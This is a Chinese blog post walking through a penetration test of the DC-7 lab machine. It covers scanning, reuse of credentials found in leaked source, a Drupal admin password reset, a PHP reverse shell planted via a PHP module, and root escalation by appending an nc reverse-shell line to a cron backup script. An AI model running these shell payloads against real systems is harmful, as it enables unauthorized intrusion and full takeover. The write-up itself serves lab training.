title: DC-7靶机渗透
date: 2023-1-5 22 :53 :36
tags: DC系列靶机
categories: 渗透从入门到入土
author:Abyssaler
DC-7靶机渗透全流程
一:实验环境
kali攻击机: 192.168.2.103
DC-7靶机: 192.168.2.105
二:信息收集
主机发现
arp-scan -l
端口扫描
1.masscan快速扫描端口
masscan --rate=10000 --ports 0-65535 192.168.2.105
发现80,22端口
2.nmap精确扫描端口
nmap -p22,80 -sV -A 192.168.2.105
已经发现cms是drupal 8
web信息收集
1.访问192.168.2.105
收集页面信息
cms: Drupal 8
目录扫描
dirb http://192.168.2.105
利用社工获取网页源码
注意到网页底部有个足迹
尝试利用搜索引擎搜索他一下
可以看到这个作者的GitHub账号了,点进去看看
继续点进这个项目看看,可以看到这就是提示了
那这些就是网站源码了
可以直接下载下来进行审计分析
三:渗透测试
信息获取
将之前下载下来的网页源码解压
查看config.php文件
cat config.php
得到了数据库的账号密码
远程连接主机
既然有了账号和密码,有没有可能之前扫描出来的22端口也能用呢]\
尝试远程连接
ssh dc7user@192.168.2.105
连接成功
修改admin密码
先进行一下系统的信息收集
可以看到权限挺低的
用crontab -l
查看计划任务,mail
查看邮件
Cron Daemon
不太清楚意思,查询试试
那这里的意思大概就是root用户周期性的运行了一个系统任务,脚本的位置在/opt/scripts/backups.sh
查看邮件后得知这个系统任务的大概意思是为数据库做一个备份,还给出了备份的位置
查看下脚本的权限ls -l
,发现www-data拥有执行和写的权限,我们当前权限没有写权限,看来没办法动手脚了。
但是如果我们获得了www-data的shell 那就可以写点东西进去,然后依靠计划任务,用root去运行,那我们可以获得了root权限的shell了。
注意到脚本里有一个drush命令
可以看到命令是进入 cd /var/www/html/ 后执行drush。
然后去百度看看 drush是干什么呢?
Drush(Drush = Drupal + Shell)就是使用命令行命令来操作Drupal站点,它的命令格式与git类似,都是双字命令(drush + 实际的命令)。既然是命令行命令,也就可以使用其他脚本来实现相同的功能,比如编写shell脚本来实现相同的功能,也的确有不少人这样做过。但是,使用Drush要远优于编写自己的脚本,好处在于,一是可以利用Drush开发社区的力量,二是Drush的命令更加可靠,适用于更多变的环境。
https://www.howtoing.com/a-beginner-s-guide-to-drush-the-drupal-shell
这里有写一些drush基本语法。
drush user-password admin --password="new_pass"
#想要更改您的密码?就这么简单。
#记得执行命令前先切换到Drupal的目录下面。
cd /var/www/html/
#Drupal默认账户是admin 123456为我修改的密码。
drush user-password admin --password=123456
修改成功
获得www-data的shell
登录网站后台
进入后台,找到能写shell的地方
在extend
中找到可以安装模块
下载一个php模块
下载地址:https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz
直接安装
启用php模块
编辑文章
此时可以看到,文章可以用php进行解析了
写入一个 反弹shell脚本
<?php
$sock = fsockopen("192.168.2.103", "444");
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>
kali开启nc监听
nc -lvvp 444
重新访问下主页
反弹成功
设置个交互式界面python -c "import pty;pty.spawn('/bin/bash')"
可以看到,现在我们有向脚本里写入代码的权限了
提权
之前知道了,/opt/scripts/backup.sh
会以root权限周期性的运行
我们可以向backups.sh内写入反弹shell脚本,利用nc就可以完成
然后如果是正常环境的话就等这个脚本运行的时候就成功了
echo "nc -nv 192.168.2.103 4455 -e /bin/bash" >>backups.sh
kali开启侦听
nc -nlvp 4455
连接成功
他这个默认十五分钟执行一次,等十五分钟就好啦
得到flag